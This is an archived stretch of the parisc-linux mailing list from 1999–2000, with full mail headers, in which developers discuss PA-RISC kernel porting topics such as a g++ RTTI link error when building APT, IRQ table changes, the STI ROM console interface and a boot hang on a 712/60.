Message-ID: <20001017101615.A9660@tausq.org>
References: <20001017071503.D928@tausq.org> <200010171601.JAA12803@milano.cup.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619188 4508 80.91.229.3 (22 Nov 2014 01:19:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: randolph@tausq.org  Tue Oct 17 11:19:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA23929
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 11:19:05 -0600
Original-Received: (qmail 26239 invoked by uid 15267); 17 Oct 2000 17:20:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24631 invoked from network); 17 Oct 2000 17:17:19 -0000
Original-Received: from phnxpop5.phnx.uswest.net (206.80.192.5)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 17:17:19 -0000
Original-Received: (qmail 53958 invoked by alias); 17 Oct 2000 17:16:45 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 52753 invoked by uid 0); 17 Oct 2000 17:16:19 -0000
Original-Received: from dslpppa54.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.55)
  by phnxpop5.phnx.uswest.net with SMTP; 17 Oct 2000 17:16:19 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13laLX-0002Wc-00; Tue, 17 Oct 2000 10:16:15 -0700
User-Agent: Mutt/1.0.1i
In-Reply-To: <200010171601.JAA12803@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Oct 17, 2000 at 09:01:51AM -0700
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8139

> I'm still chuckling about finding "#CONFIG_RTC is not set".

:-) oh, and the "fix" I made was simply to correctly match up the
functions in the file_operations struct to the 2.4 structure. I think
the old genrtc driver was coded to use an older structure.

> We certainly do have a list:
> 
> 	http://www.thepuffingroup.com/parisc/status.html

Cool! I'll check it out.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: raunaq sushil pungaliya <rsp3@uakron.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP C110
Date: Tue, 17 Oct 2000 15:32:28 -0400 (EDT)
Lines: 6
Approved: news@gmane.org
Message-ID: <17833349.971811148484.JavaMail.cpadmin@viper>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619189 4513 80.91.229.3 (22 Nov 2014 01:19:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rsp3@uakron.edu  Tue Oct 17 13:32:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA25299
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 13:32:20 -0600
Original-Received: (qmail 10345 invoked by uid 15267); 17 Oct 2000 19:33:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9719 invoked from network); 17 Oct 2000 19:33:05 -0000
Original-Received: from uakron.edu (130.101.5.4)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 19:33:05 -0000
Original-Received: from viper.uakron.edu (viper.cc.uakron.edu [130.101.145.5])
	by uakron.edu (8.9.3/8.9.1) with SMTP id PAA04192
	for <parisc-linux@thepuffingroup.com>; Tue, 17 Oct 2000 15:33:05 -0400 (EDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8140

Hi
I have an HP C110 (120Mhz, 256MB, 2.0 GB) I bought off the Internet. It 
does not have an OS on it. Can I install linux on it? If yes, where do 
I download the port? Thanks. 
Raunaq


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems with binutils and/or g++
Date: 17 Oct 2000 16:38:02 -0400
Organization: Linuxcare, Inc.
Lines: 23
Approved: news@gmane.org
Message-ID: <87r95f2ogl.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619189 4514 80.91.229.3 (22 Nov 2014 01:19:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Tue Oct 17 14:36:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA26033
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 14:36:46 -0600
Original-Received: (qmail 20629 invoked by uid 15267); 17 Oct 2000 20:38:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20518 invoked from network); 17 Oct 2000 20:37:59 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 20:37:59 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13ldUo-0000Rh-00; Tue, 17 Oct 2000 16:38:02 -0400
Original-Lines: 22
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8141

Hi,

With current binutils (as of Oct. 13) and GCC, I get the following
error when building APT:

../build/obj/cmdline/apt-get.o: In function `global destructors keyed to c0out':
/home/build/apt-0.3.19/cmdline/apt-get.cc:1429: undefined reference to `pkgArchiveCleaner type_info function'
/usr/bin/ld: ../build/obj/cmdline/apt-get.o(.gnu.linkonce.t.__tf10LogCleaner+0x1c): cannot find stub entry 00000010___tf17pkgArchiveCleaner+0
/usr/bin/ld: ../build/obj/cmdline/apt-get.o(.gnu.linkonce.t.__tf10LogCleaner+0x1c): cannot handle R_PARISC_PCREL17F for pkgArchiveCleaner type_info function
/home/build/apt-0.3.19/cmdline/apt-get.cc:1429: undefined reference to `pkgArchiveCleaner type_info node'
/home/build/apt-0.3.19/cmdline/apt-get.cc:1429: undefined reference to `pkgArchiveCleaner type_info node'

I'm not sure if this is a g++ or linker bug.  The symbol names look
really suspicious, suggesting that it might be a bug in RTTI (I'll try
recompiling with -fno-rtti, as I don't think APT uses it).  But on the
other hand we've had problems with link-once sections in the past.

Any thoughts?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: problems with binutils and/or g++
Date: Wed, 18 Oct 2000 11:00:58 +1100 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010181054370.1579-100000@front.linuxcare.com.au>
References: <87r95f2ogl.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619189 4516 80.91.229.3 (22 Nov 2014 01:19:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Oct 17 17:59:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA27930
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 17:59:50 -0600
Original-Received: (qmail 794 invoked by uid 15267); 18 Oct 2000 00:01:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 775 invoked from network); 18 Oct 2000 00:01:08 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 00:01:08 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA02839;
	Wed, 18 Oct 2000 11:00:58 +1100
In-Reply-To: <87r95f2ogl.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8142

On 17 Oct 2000, David Huggins-Daines wrote:

> recompiling with -fno-rtti, as I don't think APT uses it).  But on the
> other hand we've had problems with link-once sections in the past.

Translation:  Alan has been mucking around with link-once section symbols
and may have broken something.

I'll take a look.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /proc/interrupts
Date: Wed, 18 Oct 2000 03:41:22 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <00101803412200.00279@P100>
References: <200010160432.VAA11300@milano.cup.hp.com> <003d01c0500a$167a9040$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619189 4518 80.91.229.3 (22 Nov 2014 01:19:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:49 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: deller@gmx.de  Tue Oct 17 19:40:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA29019
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 19:40:14 -0600
Original-Received: (qmail 26011 invoked by uid 15267); 18 Oct 2000 01:41:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25992 invoked from network); 18 Oct 2000 01:41:32 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 01:41:32 -0000
Original-Received: (qmail 22513 invoked by uid 0); 18 Oct 2000 01:41:21 -0000
Original-Received: from r1050.str.dial.surf-callino.de (HELO P100) (213.21.14.34)
  by mail.gmx.net with SMTP; 18 Oct 2000 01:41:21 -0000
X-Mailer: KMail [version 1.1.99]
In-Reply-To: <003d01c0500a$167a9040$a832d793@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:8143

Hi all,

I just committed changes, which fills in i386-compatible 
interrupt-information into /proc/interrupts.

During the changes I inserted the constants IRQ_PER_REGION and 
IRQ_REGION_SHIFT into asm-parisc/irq.h, which would allow us to reduce the 
needed amount of static memory for the interrupt routing tables.

This change has following effects:
1. The until now used virtual IRQ's gets new numbers and increments in every 
region by 32 for parisc32 and 64 for parisc64. The old IRQ regions 
incremented by 256.
2. since we now shift by values of 5 (parisc32) or 6 (parisc64) bits, the 
time needed to calculate the offsets may have changed. This needs to be 
inspected.
3. the new algorithm needs less memory than before.

By default I left the current behaviour in CVS, but you may activate the new 
algorithm by changing the "#if 0" to "#if 1" in asm-parsic/irq.h and tell me 
what you think.

Thanks,
Helge.


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Qn on Linux/PA-RISC future Console driver
Date: Wed, 7 Apr 1999 14:43:39 -0700 (PDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <199904072143.OAA13915@meow.sr.hp.com>
References: <199904071805.LAA22267@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619190 4521 80.91.229.3 (22 Nov 2014 01:19:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Wed Apr  7 17:45:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA17291
	for <parisc-linux@sod.res.cmu.edu>; Wed, 7 Apr 1999 17:45:14 -0400
Original-Received: (qmail 26645 invoked by uid 15267); 7 Apr 1999 21:44:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26638 invoked from network); 7 Apr 1999 21:44:33 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 7 Apr 1999 21:44:33 -0000
Original-Received: from srmail.sr.hp.com (srmail.sr.hp.com [15.4.45.14])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA24072
	for <parisc-linux@thepuffingroup.com>; Wed, 7 Apr 1999 17:44:42 -0400 (EDT)
Original-Received: from meow.sr.hp.com by srmail.sr.hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA221521494; Wed, 7 Apr 1999 14:44:54 -0700
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id OAA13915 for parisc-linux@thepuffingroup.com; Wed, 7 Apr 1999 14:43:39 -0700 (PDT)
In-Reply-To: <199904071805.LAA22267@gatekeeper.equator.com> from Jason Eckhardt at "Apr 7, 1999 11: 5:39 am"
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:8144

> 
> >
> > Hi,
> > 	Has anyone done some work on Linux/PA-RISC Console driver.
> > 	Are we planning to use PDC for console or is it possible
> > 	to directly access Console device. 
> >
> 
>   I believe HP-UX uses the STI ROM interface rather than going
>   through the IODC interface (i.e. like the bootstrap), although an HP person
>   can tell us positively.

That is correct.  The HPUX kernel uses the STI interface which involves
loading a set of routines out of the ROM into memory. (The STI ROM
is not execute in place.  In fact on older SGC based systems, it
is a byte wide ROM attached to a 32 bit bus...  In some later systems
[e.g. 712] the "STI ROM" is an image that is compiled into the main
bootrom).  The kernel uses the standard PS2 or HIL driver for the
console.  (In HP-UX land this is called the ITE or Internal Terminal
Emulator.)


>   It doesn't seem we could get very good performance through IODC console calls
>   due to the setup involved when calling it from an virtually addressed OS 
>   (switching to real mode, etc). Also, I believe that IODC is not re-entrant.
>   I don't know if the STI ROM has the same restrictions.

You just need the ability to allocate code space in the kernel, unpack the
ROM, and then jump to the routines.  When I ported this to another OS 
the challenge was getting the page permissions set to allow execution of
a malloc'd region.  The code is relocatable, and can be run in the 
virtually addressed kernel.

>   
>   It would be nice to have direct access to the console device (although it
>   is more work), but as of
>   yet we have no console device-specific documentation (or even the STI ROM
>   i/f for that matter).

You don't want to have to have code to talk to all the possible devices
(and potential new devices) compiled into the kernel.  That's the beauty 
of STI.  Plop a newly released graphics card in a system, and the card
carries its STI ROM so that the kernel doesn't necessarily need
to be upgraded.  Of course the X server has to know about any new
device.

As for STI documentation, The only docs that exist are ancient, and
about 4 revs of hardware out of date.  The engineer that maintains
this told me he intended to bring the docs up to date for the Linux
project, and then feed them through the  appropriate channels for
release.

	-Bill


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: problems with binutils and/or g++
Date: Wed, 18 Oct 2000 17:18:12 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010181628240.1579-100000@front.linuxcare.com.au>
References: <87r95f2ogl.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619190 4523 80.91.229.3 (22 Nov 2014 01:19:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Wed Oct 18 00:18:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA07911
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 00:18:27 -0600
Original-Received: (qmail 13785 invoked by uid 15267); 18 Oct 2000 06:19:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13759 invoked from network); 18 Oct 2000 06:19:35 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 06:19:35 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA11319;
	Wed, 18 Oct 2000 17:18:12 +1100
In-Reply-To: <87r95f2ogl.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8145

On 17 Oct 2000, David Huggins-Daines wrote:

> I'm not sure if this is a g++ or linker bug.  The symbol names look
> really suspicious, suggesting that it might be a bug in RTTI (I'll try
> recompiling with -fno-rtti, as I don't think APT uses it).  But on the
> other hand we've had problems with link-once sections in the past.
> 
> Any thoughts?

After fixing a zillion bugs of the "friend foo" -> "friend class foo" type 
and assorted protected/private/public issues, I finally managed to have apt
compile.  Same error as you found.  It's not a linker bug as it's not a 
case of the linker dropping some section; the undefined symbol really
isn't defined anywhere.  I don't know enough C++ to debug the problem
further.

Recompiling with -fno-rtti results in a successful build.

-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: problems with binutils and/or g++
Date: Wed, 18 Oct 2000 00:02:30 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20001018000230.D568@tausq.org>
References: <87r95f2ogl.fsf@linuxcare.com> <Pine.LNX.4.21.0010181628240.1579-100000@front.linuxcare.com.au>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619190 4525 80.91.229.3 (22 Nov 2014 01:19:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:50 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: randolph@tausq.org  Wed Oct 18 01:01:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA08521
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 01:01:41 -0600
Original-Received: (qmail 10995 invoked by uid 15267); 18 Oct 2000 07:03:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10978 invoked from network); 18 Oct 2000 07:03:00 -0000
Original-Received: from phnxpop3.phnx.uswest.net (206.80.192.3)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 07:03:00 -0000
Original-Received: (qmail 25963 invoked by alias); 18 Oct 2000 07:02:32 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 25918 invoked by uid 0); 18 Oct 2000 07:02:30 -0000
Original-Received: from dslpppa54.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.55)
  by phnxpop3.phnx.uswest.net with SMTP; 18 Oct 2000 07:02:30 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13lnF8-0000HU-00; Wed, 18 Oct 2000 00:02:30 -0700
User-Agent: Mutt/1.0.1i
In-Reply-To: <Pine.LNX.4.21.0010181628240.1579-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Wed, Oct 18, 2000 at 05:18:12PM +1100
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8146

> After fixing a zillion bugs of the "friend foo" -> "friend class foo" type 
> and assorted protected/private/public issues, I finally managed to have apt
> compile.  Same error as you found.  It's not a linker bug as it's not a 
> case of the linker dropping some section; the undefined symbol really
> isn't defined anywhere.  I don't know enough C++ to debug the problem
> further.

Alan, for my curiosity, could you explain this particular line from g++'s 
output (from dhd's message)?

../build/obj/cmdline/apt-get.o(.gnu.linkonce.t.__tf10LogCleaner+0x1c):
cannot handle R_PARISC_PCREL17F for pkgArchiveCleaner type_info function

that seems to be causing the "undefined" symbol messages.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting on 712/60
Date: Wed, 18 Oct 2000 03:03:23 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <39ED4B3B.85348ED2@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619191 4699 80.91.229.3 (22 Nov 2014 01:19:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:51 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: james.waterhouse@videotron.ca  Wed Oct 18 01:02:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA08751
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 01:02:07 -0600
Original-Received: (qmail 11272 invoked by uid 15267); 18 Oct 2000 07:03:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11265 invoked from network); 18 Oct 2000 07:03:27 -0000
Original-Received: from relais.videotron.ca (HELO VL-MS-MR003.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 07:03:27 -0000
Original-Received: from videotron.ca ([207.253.109.87]) by
          VL-MS-MR003.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G2M69Q02.4R8 for
          <parisc-linux@thepuffingroup.com>; Wed, 18 Oct 2000 03:03:26 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8147

Hello,
	I just compiled a ramdisk using mondays cvs src for everything. I'm
using the graphics console ramdisk file off the puffin.external.hp.com
(ramdisk20000530-sticon.tgz) to make the ramdisk. Now when I got to boot
it boots up until the point where the kernel says...

Sending BOOTP request.... OK
IP-Config: Got BOOTP answer.. bla bla
Switching from PDC console

And then I get nothing. So what is happening when we switch from the PDC
console? Is the output going to the serial port, or am I crashing
because my graphics hardware is not supported, or am I crashing for some
other reason?

Thanks,
James


-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on 712/60
Date: Wed, 18 Oct 2000 09:30:34 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <00101809303400.18775@P100>
References: <39ED4B3B.85348ED2@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619191 4787 80.91.229.3 (22 Nov 2014 01:19:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:51 +0000 (UTC)
To: James Waterhouse <james.waterhouse@videotron.ca>,
        "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: deller@gmx.de  Wed Oct 18 01:29:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA09387
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 01:29:45 -0600
Original-Received: (qmail 30899 invoked by uid 15267); 18 Oct 2000 07:31:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30885 invoked from network); 18 Oct 2000 07:31:01 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 07:31:01 -0000
Original-Received: (qmail 16591 invoked by uid 0); 18 Oct 2000 07:30:33 -0000
Original-Received: from r692.str.dial.surf-callino.de (HELO P100) (213.21.12.184)
  by mail.gmx.net with SMTP; 18 Oct 2000 07:30:33 -0000
X-Mailer: KMail [version 1.1.99]
In-Reply-To: <39ED4B3B.85348ED2@videotron.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8148

Hello James,

Am Wednesday 18 October 2000 09:03 schrieb James Waterhouse:
> Hello,
> 	I just compiled a ramdisk using mondays cvs src for everything. I'm
> using the graphics console ramdisk file off the puffin.external.hp.com
> (ramdisk20000530-sticon.tgz) to make the ramdisk. Now when I got to boot
> it boots up until the point where the kernel says...
>
> Sending BOOTP request.... OK
> IP-Config: Got BOOTP answer.. bla bla
> Switching from PDC console
>
> And then I get nothing. So what is happening when we switch from the PDC
> console? Is the output going to the serial port, or am I crashing
> because my graphics hardware is not supported, or am I crashing for some
> other reason?

I'm seeing the same here. The kernel switches independend of your 
kernel-settings (STI-Console - no STI-Console) to serial-console and just 
puts some of it's error-messages to the STI-console. 
If you don't have a nullmodem cable, you could try to ping/telnet your 
parisc, to see if it's still alive.
I currently don't know which change in CVS disallowed us to use just 
STI-Console, but will try to figure out later today. 

Helge.
 
>
> Thanks,
> James


From - Thu Nov 08 21:13:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: problems with binutils and/or g++
Date: Wed, 18 Oct 2000 19:01:16 +1100 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010181842070.1579-100000@front.linuxcare.com.au>
References: <20001018000230.D568@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619191 4788 80.91.229.3 (22 Nov 2014 01:19:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:51 +0000 (UTC)
